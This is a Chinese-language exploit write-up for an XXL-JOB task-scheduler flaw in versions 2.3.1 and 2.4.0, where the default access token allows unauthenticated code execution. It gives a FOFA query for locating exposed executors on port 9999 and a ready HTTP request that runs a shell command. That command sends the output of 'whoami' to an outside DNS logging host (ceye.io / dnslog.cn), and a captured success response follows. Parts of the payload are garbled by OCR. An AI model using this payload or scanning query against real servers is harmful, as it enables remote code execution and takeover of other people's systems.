X9-1XXL-Job-任务调度平台-PermissionAC

漏洞描述:

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是<u>随机生成</u>的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限。 XXL-JOB之前版本accessToken的值都为空,2.3.1后才出现默认值,如下:

影响版本:

xxl-job-2.3.1、2.4.0版本

网站图片:

{"code":500,"msq":"invalid request, HttpMethod not support."}

网络测绘:

fofa语法:

FOFA: "invalid request, HttpMethod not support" && port="9999"

漏洞复现:

```
payload:
```

```
POST /run HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default token
Upgrade-Insecure-Requests: 1

{
    "jobid": 3,
    "executorHarams": "demoJobHandler",
    "executorParams": "demoJobHandler",
    "executorParams": "seniAL_EXECUTION",
    "executorFimeout": 0,
    "logId": 1,
    "logDateTime": 1586373637819,
    "glueType": "GLUE_SHELL",
    "glueSource": "ping 'whoami'.Dnslog.cn",
    "glueOstettime": 1586693836766,
    "broadcastIndex": 0,
    "broadcastTotal": 0
}
```

效果图:

PS: 每执行一次就需要更换请求体中jobId的值

```
〈 〉 数据包扫描 热加载 构造请求 ??
                                                                                                                                                Responses 12bytes / 16ms
Request
                                                                                                                                                 1 HTTP/1.1 200 OK
        POST /run HTTP/1.1
                                                                                                                                                         content-type: text/html; charset=utf-8
Content-Length: 12
                                -:9999
        User-Agent: Mozilla/5.0 (Windows NT-10.0; Win64; vx64; vrv:109.0) Gecko/20100101 Firefox/111.0
        Accept-Encoding: gzip, deflate, br
        Connection: close
                                                                                                                                                         {"code":200}
      Content-Type: application/json

XXL-JOB-ACCESS-TOKEN: default token
        Upgrade-Insecure-Requests: 1
 10
 12
        "jobId": 3,
        "executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
 13
        "executorBlockStrategy": "SERIAL_EXECUTION",
 15
        "executorTimeout": 0,
 16
       "logId": 1,
"logDateTime": 1586373637819,
"glueType": "GLUE_SHELL",
"glueSource": "ping `whoami`.v0u26h.ceye.io",
"glueUpdateTime": 158669838766,
 18
 19
 21
      → C 🛕 不安全 | ceye.io/records/dns
  \leftarrow
```

